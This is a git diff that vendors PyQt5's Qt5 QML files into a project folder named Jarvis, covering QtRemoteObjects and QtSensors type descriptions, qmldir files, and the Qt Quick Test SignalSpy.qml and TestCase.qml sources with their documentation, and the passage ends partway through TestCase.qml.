[0] + Method { + name: "watch" + type: "QJSValue" + Parameter { name: "reply"; type: "QRemoteObjectPendingCall" } + Parameter { name: "timeout"; type: "int" } + } + Method { + name: "watch" + type: "QJSValue" + Parameter { name: "reply"; type: "QRemoteObjectPendingCall" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/qmldir new file mode 100644 index 00000000..a8d960b4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/qmldir @@ -0,0 +1,3 @@ +module QtRemoteObjects +plugin qtremoteobjects +classname QtRemoteObjectsPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/qtremoteobjects.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/qtremoteobjects.dll new file mode 100644 index 00000000..4f9c66b0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtRemoteObjects/qtremoteobjects.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/declarative_sensors.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/declarative_sensors.dll new file mode 100644 index 00000000..67d291f4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/declarative_sensors.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/plugins.qmltypes new file mode 100644 index 00000000..c68c37b3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/plugins.qmltypes @@ -0,0 +1,613 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtSensors 5.15' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QmlAccelerometer" + prototype: "QmlSensor" + exports: [ + "QtSensors/Accelerometer 5.0", + "QtSensors/Accelerometer 5.1", + "QtSensors/Accelerometer 5.2" + ] + exportMetaObjectRevisions: [0, 1, 1] + Enum { + name: "AccelerationMode" + values: { + "Combined": 0, + "Gravity": 1, + "User": 2 + } + } + Property { name: "accelerationMode"; revision: 1; type: "AccelerationMode" } + Signal { + name: "accelerationModeChanged" + revision: 1 + Parameter { name: "accelerationMode"; type: "AccelerationMode" } + } + } + Component { + name: "QmlAccelerometerReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/AccelerometerReading 5.0", + "QtSensors/AccelerometerReading 5.1", + "QtSensors/AccelerometerReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "z"; type: "double"; isReadonly: true } + } + Component { + name: "QmlAltimeter" + prototype: "QmlSensor" + exports: ["QtSensors/Altimeter 5.1", "QtSensors/Altimeter 5.2"] + exportMetaObjectRevisions: [0, 0] + } + Component { + name: "QmlAltimeterReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/AltimeterReading 5.1", + "QtSensors/AltimeterReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0] + Property { name: "altitude"; type: "double"; isReadonly: true } + } + Component { + name: "QmlAmbientLightSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/AmbientLightSensor 5.0", + "QtSensors/AmbientLightSensor 5.1", + "QtSensors/AmbientLightSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + } + Component { + name: "QmlAmbientLightSensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/AmbientLightReading 5.0", + "QtSensors/AmbientLightReading 5.1", + "QtSensors/AmbientLightReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "lightLevel"; type: "QAmbientLightReading::LightLevel"; isReadonly: true } + } + Component { + name: "QmlAmbientTemperatureReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/AmbientTemperatureReading 5.1", + "QtSensors/AmbientTemperatureReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0] + Property { name: "temperature"; type: "double"; isReadonly: true } + } + Component { + name: "QmlAmbientTemperatureSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/AmbientTemperatureSensor 5.1", + "QtSensors/AmbientTemperatureSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0] + } + Component { + name: "QmlCompass" + prototype: "QmlSensor" + exports: [ + "QtSensors/Compass 5.0", + "QtSensors/Compass 5.1", + "QtSensors/Compass 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + } + Component { + name: "QmlCompassReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/CompassReading 5.0", + "QtSensors/CompassReading 5.1", + "QtSensors/CompassReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "azimuth"; type: "double"; isReadonly: true } + Property { name: "calibrationLevel"; type: "double"; isReadonly: true } + } + Component { + name: "QmlDistanceReading" + prototype: "QmlSensorReading" + exports: ["QtSensors/DistanceReading 5.4"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "distance"; type: "double"; isReadonly: true } + } + Component { + name: "QmlDistanceSensor" + prototype: "QmlSensor" + exports: ["QtSensors/DistanceSensor 5.4"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QmlGyroscope" + prototype: "QmlSensor" + exports: [ + "QtSensors/Gyroscope 5.0", + "QtSensors/Gyroscope 5.1", + "QtSensors/Gyroscope 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + } + Component { + name: "QmlGyroscopeReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/GyroscopeReading 5.0", + "QtSensors/GyroscopeReading 5.1", + "QtSensors/GyroscopeReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "z"; type: "double"; isReadonly: true } + } + Component { + name: "QmlHolsterReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/HolsterReading 5.1", + "QtSensors/HolsterReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0] + Property { name: "holstered"; type: "bool"; isReadonly: true } + } + Component { + name: "QmlHolsterSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/HolsterSensor 5.1", + "QtSensors/HolsterSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0] + } + Component { + name: "QmlHumidityReading" + prototype: "QmlSensorReading" + exports: ["QtSensors/HumidityReading 5.9"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "relativeHumidity"; type: "double"; isReadonly: true } + Property { name: "absoluteHumidity"; type: "double"; isReadonly: true } + } + Component { + name: "QmlHumiditySensor" + prototype: "QmlSensor" + exports: ["QtSensors/HumiditySensor 5.9"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QmlIRProximitySensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/IRProximitySensor 5.0", + "QtSensors/IRProximitySensor 5.1", + "QtSensors/IRProximitySensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + } + Component { + name: "QmlIRProximitySensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/IRProximityReading 5.0", + "QtSensors/IRProximityReading 5.1", + "QtSensors/IRProximityReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "reflectance"; type: "double"; isReadonly: true } + } + Component { + name: "QmlLidReading" + prototype: "QmlSensorReading" + exports: ["QtSensors/LidReading 5.9"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "backLidChanged"; type: "bool"; isReadonly: true } + Property { name: "frontLidClosed"; type: "bool"; isReadonly: true } + Signal { + name: "backLidChanged" + Parameter { name: "closed"; type: "bool" } + } + Signal { + name: "frontLidChanged" + type: "bool" + Parameter { name: "closed"; type: "bool" } + } + } + Component { + name: "QmlLidSensor" + prototype: "QmlSensor" + exports: ["QtSensors/LidSensor 5.9"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QmlLightSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/LightSensor 5.0", + "QtSensors/LightSensor 5.1", + "QtSensors/LightSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "fieldOfView"; type: "double"; isReadonly: true } + Signal { + name: "fieldOfViewChanged" + Parameter { name: "fieldOfView"; type: "double" } + } + } + Component { + name: "QmlLightSensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/LightReading 5.0", + "QtSensors/LightReading 5.1", + "QtSensors/LightReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "illuminance"; type: "double"; isReadonly: true } + } + Component { + name: "QmlMagnetometer" + prototype: "QmlSensor" + exports: [ + "QtSensors/Magnetometer 5.0", + "QtSensors/Magnetometer 5.1", + "QtSensors/Magnetometer 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "returnGeoValues"; type: "bool" } + Signal { + name: "returnGeoValuesChanged" + Parameter { name: "returnGeoValues"; type: "bool" } + } + } + Component { + name: "QmlMagnetometerReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/MagnetometerReading 5.0", + "QtSensors/MagnetometerReading 5.1", + "QtSensors/MagnetometerReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "z"; type: "double"; isReadonly: true } + Property { name: "calibrationLevel"; type: "double"; isReadonly: true } + } + Component { + name: "QmlOrientationSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/OrientationSensor 5.0", + "QtSensors/OrientationSensor 5.1", + "QtSensors/OrientationSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + } + Component { + name: "QmlOrientationSensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/OrientationReading 5.0", + "QtSensors/OrientationReading 5.1", + "QtSensors/OrientationReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "orientation"; type: "QOrientationReading::Orientation"; isReadonly: true } + } + Component { + name: "QmlPressureReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/PressureReading 5.1", + "QtSensors/PressureReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Property { name: "pressure"; type: "double"; isReadonly: true } + Property { name: "temperature"; revision: 1; type: "double"; isReadonly: true } + Signal { name: "temperatureChanged"; revision: 1 } + } + Component { + name: "QmlPressureSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/PressureSensor 5.1", + "QtSensors/PressureSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0] + } + Component { + name: "QmlProximitySensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/ProximitySensor 5.0", + "QtSensors/ProximitySensor 5.1", + "QtSensors/ProximitySensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + } + Component { + name: "QmlProximitySensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/ProximityReading 5.0", + "QtSensors/ProximityReading 5.1", + "QtSensors/ProximityReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "near"; type: "bool"; isReadonly: true } + } + Component { + name: "QmlRotationSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/RotationSensor 5.0", + "QtSensors/RotationSensor 5.1", + "QtSensors/RotationSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "hasZ"; type: "bool"; isReadonly: true } + Signal { + name: "hasZChanged" + Parameter { name: "hasZ"; type: "bool" } + } + } + Component { + name: "QmlRotationSensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/RotationReading 5.0", + "QtSensors/RotationReading 5.1", + "QtSensors/RotationReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "z"; type: "double"; isReadonly: true } + } + Component { + name: "QmlSensor" + prototype: "QObject" + exports: [ + "QtSensors/Sensor 5.0", + "QtSensors/Sensor 5.1", + "QtSensors/Sensor 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1, 1] + Enum { + name: "AxesOrientationMode" + values: { + "FixedOrientation": 0, + "AutomaticOrientation": 1, + "UserOrientation": 2 + } + } + Property { name: "identifier"; type: "string" } + Property { name: "type"; type: "string"; isReadonly: true } + Property { name: "connectedToBackend"; type: "bool"; isReadonly: true } + Property { name: "availableDataRates"; type: "QmlSensorRange"; isList: true; isReadonly: true } + Property { name: "dataRate"; type: "int" } + Property { name: "reading"; type: "QmlSensorReading"; isReadonly: true; isPointer: true } + Property { name: "busy"; type: "bool"; isReadonly: true } + Property { name: "active"; type: "bool" } + Property { name: "outputRanges"; type: "QmlSensorOutputRange"; isList: true; isReadonly: true } + Property { name: "outputRange"; type: "int" } + Property { name: "description"; type: "string"; isReadonly: true } + Property { name: "error"; type: "int"; isReadonly: true } + Property { name: "alwaysOn"; type: "bool" } + Property { name: "skipDuplicates"; revision: 1; type: "bool" } + Property { name: "axesOrientationMode"; revision: 1; type: "AxesOrientationMode" } + Property { name: "currentOrientation"; revision: 1; type: "int"; isReadonly: true } + Property { name: "userOrientation"; revision: 1; type: "int" } + Property { name: "maxBufferSize"; revision: 1; type: "int"; isReadonly: true } + Property { name: "efficientBufferSize"; revision: 1; type: "int"; isReadonly: true } + Property { name: "bufferSize"; revision: 1; type: "int" } + Signal { + name: "skipDuplicatesChanged" + revision: 1 + Parameter { name: "skipDuplicates"; type: "bool" } + } + Signal { + name: "axesOrientationModeChanged" + revision: 1 + Parameter { name: "axesOrientationMode"; type: "AxesOrientationMode" } + } + Signal { + name: "currentOrientationChanged" + revision: 1 + Parameter { name: "currentOrientation"; type: "int" } + } + Signal { + name: "userOrientationChanged" + revision: 1 + Parameter { name: "userOrientation"; type: "int" } + } + Signal { + name: "maxBufferSizeChanged" + revision: 1 + Parameter { name: "maxBufferSize"; type: "int" } + } + Signal { + name: "efficientBufferSizeChanged" + revision: 1 + Parameter { name: "efficientBufferSize"; type: "int" } + } + Signal { + name: "bufferSizeChanged" + revision: 1 + Parameter { name: "bufferSize"; type: "int" } + } + Method { name: "start"; type: "bool" } + Method { name: "stop" } + } + Component { + name: "QmlSensorGesture" + prototype: "QObject" + exports: [ + "QtSensors/SensorGesture 5.0", + "QtSensors/SensorGesture 5.1", + "QtSensors/SensorGesture 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "availableGestures"; type: "QStringList"; isReadonly: true } + Property { name: "gestures"; type: "QStringList" } + Property { name: "validGestures"; type: "QStringList"; isReadonly: true } + Property { name: "invalidGestures"; type: "QStringList"; isReadonly: true } + Property { name: "enabled"; type: "bool" } + Signal { + name: "detected" + Parameter { name: "gesture"; type: "string" } + } + } + Component { + name: "QmlSensorGlobal" + prototype: "QObject" + exports: [ + "QtSensors/QmlSensors 5.0", + "QtSensors/QmlSensors 5.1", + "QtSensors/QmlSensors 5.2" + ] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0, 0, 0] + Signal { name: "availableSensorsChanged" } + Method { name: "sensorTypes"; type: "QStringList" } + Method { + name: "sensorsForType" + type: "QStringList" + Parameter { name: "type"; type: "string" } + } + Method { + name: "defaultSensorForType" + type: "string" + Parameter { name: "type"; type: "string" } + } + } + Component { + name: "QmlSensorOutputRange" + prototype: "QObject" + exports: [ + "QtSensors/OutputRange 5.0", + "QtSensors/OutputRange 5.1", + "QtSensors/OutputRange 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "minimum"; type: "double"; isReadonly: true } + Property { name: "maximum"; type: "double"; isReadonly: true } + Property { name: "accuracy"; type: "double"; isReadonly: true } + } + Component { + name: "QmlSensorRange" + prototype: "QObject" + exports: [ + "QtSensors/Range 5.0", + "QtSensors/Range 5.1", + "QtSensors/Range 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "minimum"; type: "int"; isReadonly: true } + Property { name: "maximum"; type: "int"; isReadonly: true } + } + Component { + name: "QmlSensorReading" + prototype: "QObject" + exports: [ + "QtSensors/SensorReading 5.0", + "QtSensors/SensorReading 5.1", + "QtSensors/SensorReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "timestamp"; type: "qulonglong"; isReadonly: true } + } + Component { + name: "QmlTapSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/TapSensor 5.0", + "QtSensors/TapSensor 5.1", + "QtSensors/TapSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "returnDoubleTapEvents"; type: "bool" } + Signal { + name: "returnDoubleTapEventsChanged" + Parameter { name: "returnDoubleTapEvents"; type: "bool" } + } + } + Component { + name: "QmlTapSensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/TapReading 5.0", + "QtSensors/TapReading 5.1", + "QtSensors/TapReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "tapDirection"; type: "QTapReading::TapDirection"; isReadonly: true } + Property { name: "doubleTap"; type: "bool"; isReadonly: true } + Signal { name: "isDoubleTapChanged" } + } + Component { + name: "QmlTiltSensor" + prototype: "QmlSensor" + exports: [ + "QtSensors/TiltSensor 5.0", + "QtSensors/TiltSensor 5.1", + "QtSensors/TiltSensor 5.2" + ] + exportMetaObjectRevisions: [0, 0, 0] + Method { name: "calibrate" } + } + Component { + name: "QmlTiltSensorReading" + prototype: "QmlSensorReading" + exports: [ + "QtSensors/TiltReading 5.0", + "QtSensors/TiltReading 5.1", + "QtSensors/TiltReading 5.2" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 0, 0] + Property { name: "yRotation"; type: "double"; isReadonly: true } + Property { name: "xRotation"; type: "double"; isReadonly: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/qmldir new file mode 100644 index 00000000..8ce4a5aa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtSensors/qmldir @@ -0,0 +1,4 @@ +module QtSensors +plugin declarative_sensors +classname QtSensorsDeclarativeModule +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/SignalSpy.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/SignalSpy.qml new file mode 100644 index 00000000..52ed83e2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/SignalSpy.qml @@ -0,0 +1,268 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +import QtTest 1.1 + +/*! + \qmltype SignalSpy + \inqmlmodule QtTest + \brief Enables introspection of signal emission. + \since 4.8 + \ingroup qtquicktest + + In the following example, a SignalSpy is installed to watch the + "clicked" signal on a user-defined Button type. When the signal + is emitted, the \l count property on the spy will be increased. + + \code + Button { + id: button + SignalSpy { + id: spy + target: button + signalName: "clicked" + } + TestCase { + name: "ButtonClick" + function test_click() { + compare(spy.count, 0) + button.clicked(); + compare(spy.count, 1) + } + } + } + \endcode + + The above style of test is suitable for signals that are emitted + synchronously. For asynchronous signals, the wait() method can be + used to block the test until the signal occurs (or a timeout expires). + + \sa {QtTest::TestCase}{TestCase}, {Qt Quick Test} +*/ + +Item { + id: spy + visible: false + + TestUtil { + id: util + } + // Public API. + /*! + \qmlproperty object SignalSpy::target + + This property defines the target object that will be used to + listen for emissions of the \l signalName signal. + + \sa signalName, count + */ + property var target: null + /*! + \qmlproperty string SignalSpy::signalName + + This property defines the name of the signal on \l target to + listen for. + + \sa target, count + */ + property string signalName: "" + /*! + \qmlproperty int SignalSpy::count + + This property defines the number of times that \l signalName has + been emitted from \l target since the last call to clear(). + + \sa target, signalName, clear() + \readonly + */ + readonly property alias count: spy.qtest_count + /*! + \qmlproperty bool SignalSpy::valid + + This property defines the current signal connection status. It will be true when the \l signalName of the \l target is connected successfully, otherwise it will be false. + + \sa count, target, signalName, clear() + \readonly + */ + readonly property alias valid:spy.qtest_valid + /*! + \qmlproperty list SignalSpy::signalArguments + + This property holds a list of emitted signal arguments. Each emission of the signal will append one item to the list, containing the arguments of the signal. + When connecting to a new \l target or new \l signalName or calling the \l clear() method, the \l signalArguments will be reset to empty. + + \sa signalName, clear() + \readonly + */ + readonly property alias signalArguments:spy.qtest_signalArguments + + /*! + \qmlmethod SignalSpy::clear() + + Clears \l count to 0, resets \l valid to false and clears the \l signalArguments to empty. + + \sa count, wait() + */ + function clear() { + qtest_count = 0 + qtest_expectedCount = 0 + qtest_signalArguments = [] + } + + /*! + \qmlmethod SignalSpy::wait(timeout = 5000) + + Waits for the signal \l signalName on \l target to be emitted, + for up to \a timeout milliseconds. The test case will fail if + the signal is not emitted. + + \code + SignalSpy { + id: spy + target: button + signalName: "clicked" + } + + function test_async_click() { + ... + // do something that will cause clicked() to be emitted + ... + spy.wait() + compare(spy.count, 1) + } + \endcode + + There are two possible scenarios: the signal has already been + emitted when wait() is called, or the signal has not yet been + emitted. The wait() function handles the first scenario by immediately + returning if the signal has already occurred. + + The clear() method can be used to discard information about signals + that have already occurred to synchronize wait() with future signal + emissions. + + \sa clear(), TestCase::tryCompare() + */ + function wait(timeout) { + if (timeout === undefined) + timeout = 5000 + var expected = ++qtest_expectedCount + var i = 0 + while (i < timeout && qtest_count < expected) { + qtest_results.wait(50) + i += 50 + } + var success = (qtest_count >= expected) + if (!qtest_results.verify(success, "wait for signal " + signalName, util.callerFile(), util.callerLine())) + throw new Error("QtQuickTest::fail") + } + + // Internal implementation detail follows. + + TestResult { id: qtest_results } + + onTargetChanged: { + qtest_update() + } + onSignalNameChanged: { + qtest_update() + } + + /*! \internal */ + property var qtest_prevTarget: null + /*! \internal */ + property string qtest_prevSignalName: "" + /*! \internal */ + property int qtest_expectedCount: 0 + /*! \internal */ + property var qtest_signalArguments:[] + /*! \internal */ + property int qtest_count: 0 + /*! \internal */ + property bool qtest_valid:false + /*! \internal */ + + /*! \internal */ + function qtest_update() { + if (qtest_prevTarget != null) { + var prevHandlerName = qtest_signalHandlerName(qtest_prevSignalName) + var prevFunc = qtest_prevTarget[prevHandlerName] + if (prevFunc) + prevFunc.disconnect(spy.qtest_activated) + qtest_prevTarget = null + qtest_prevSignalName = "" + } + if (target != null && signalName != "") { + // Look for the signal name in the object + var func = target[signalName] + if (typeof func !== "function") { + // If it is not a function, try looking for signal handler + // i.e. (onSignal) this is needed for cases where there is a property + // and a signal with the same name, e.g. Mousearea.pressed + func = target[qtest_signalHandlerName(signalName)] + } + if (func === undefined) { + spy.qtest_valid = false + console.log("Signal '" + signalName + "' not found") + } else { + qtest_prevTarget = target + qtest_prevSignalName = signalName + func.connect(spy.qtest_activated) + spy.qtest_valid = true + spy.qtest_signalArguments = [] + } + } else { + spy.qtest_valid = false + } + } + + /*! \internal */ + function qtest_activated() { + ++qtest_count + spy.qtest_signalArguments[spy.qtest_signalArguments.length] = arguments + } + + /*! \internal */ + function qtest_signalHandlerName(sn) { + if (sn.substr(0, 2) === "on" && sn[2] === sn[2].toUpperCase()) + return sn + return "on" + sn.substr(0, 1).toUpperCase() + sn.substr(1) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/TestCase.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/TestCase.qml new file mode 100644 index 00000000..380b7e38 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtTest/TestCase.qml @@ -0,0 +1,2045 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +import QtQuick.Window 2.0 // used for qtest_verifyItem +import QtTest 1.2 +import "testlogger.js" as TestLogger +import Qt.test.qtestroot 1.0 + +/*! + \qmltype TestCase + \inqmlmodule QtTest + \brief Represents a unit test case. + \since 4.8 + \ingroup qtquicktest + + \section1 Introduction to QML Test Cases + + Test cases are written as JavaScript functions within a TestCase + type: + + \code + import QtQuick 2.0 + import QtTest 1.2 + + TestCase { + name: "MathTests" + + function test_math() { + compare(2 + 2, 4, "2 + 2 = 4") + } + + function test_fail() { + compare(2 + 2, 5, "2 + 2 = 5") + } + } + \endcode + + Functions whose names start with "test_" are treated as test cases + to be executed. The \l name property is used to prefix the functions + in the output: + + \code + ********* Start testing of MathTests ********* + Config: Using QTest library 4.7.2, Qt 4.7.2 + PASS : MathTests::initTestCase() + FAIL! : MathTests::test_fail() 2 + 2 = 5 + Actual (): 4 + Expected (): 5 + Loc: [/home/.../tst_math.qml(12)] + PASS : MathTests::test_math() + PASS : MathTests::cleanupTestCase() + Totals: 3 passed, 1 failed, 0 skipped + ********* Finished testing of MathTests ********* + \endcode + + Because of the way JavaScript properties work, the order in which the + test functions are found is unpredictable. To assist with predictability, + the test framework will sort the functions on ascending order of name. + This can help when there are two tests that must be run in order. + + Multiple TestCase types can be supplied. The test program will exit + once they have all completed. If a test case doesn't need to run + (because a precondition has failed), then \l optional can be set to true. + + \section1 Data-driven Tests + + Table data can be provided to a test using a function name that ends + with "_data". Alternatively, the \c init_data() function can be used + to provide default test data for all test functions in a TestCase type: + + + \code + import QtQuick 2.0 + import QtTest 1.2 + + TestCase { + name: "DataTests" + + function init_data() { + return [ + {tag:"init_data_1", a:1, b:2, answer: 3}, + {tag:"init_data_2", a:2, b:4, answer: 6} + ]; + } + + function test_table_data() { + return [ + {tag: "2 + 2 = 4", a: 2, b: 2, answer: 4 }, + {tag: "2 + 6 = 8", a: 2, b: 6, answer: 8 }, + ] + } + + function test_table(data) { + //data comes from test_table_data + compare(data.a + data.b, data.answer) + } + + function test__default_table(data) { + //data comes from init_data + compare(data.a + data.b, data.answer) + } + } + \endcode + + The test framework will iterate over all of the rows in the table + and pass each row to the test function. As shown, the columns can be + extracted for use in the test. The \c tag column is special - it is + printed by the test framework when a row fails, to help the reader + identify which case failed amongst a set of otherwise passing tests. + + \section1 Benchmarks + + Functions whose names start with "benchmark_" will be run multiple + times with the Qt benchmark framework, with an average timing value + reported for the runs. This is equivalent to using the \c{QBENCHMARK} + macro in the C++ version of QTestLib. + + \code + TestCase { + id: top + name: "CreateBenchmark" + + function benchmark_create_component() { + var component = Qt.createComponent("item.qml") + var obj = component.createObject(top) + obj.destroy() + component.destroy() + } + } + + RESULT : CreateBenchmark::benchmark_create_component: + 0.23 msecs per iteration (total: 60, iterations: 256) + PASS : CreateBenchmark::benchmark_create_component() + \endcode + + To get the effect of the \c{QBENCHMARK_ONCE} macro, prefix the test + function name with "benchmark_once_". + + \section1 Simulating Keyboard and Mouse Events + + The keyPress(), 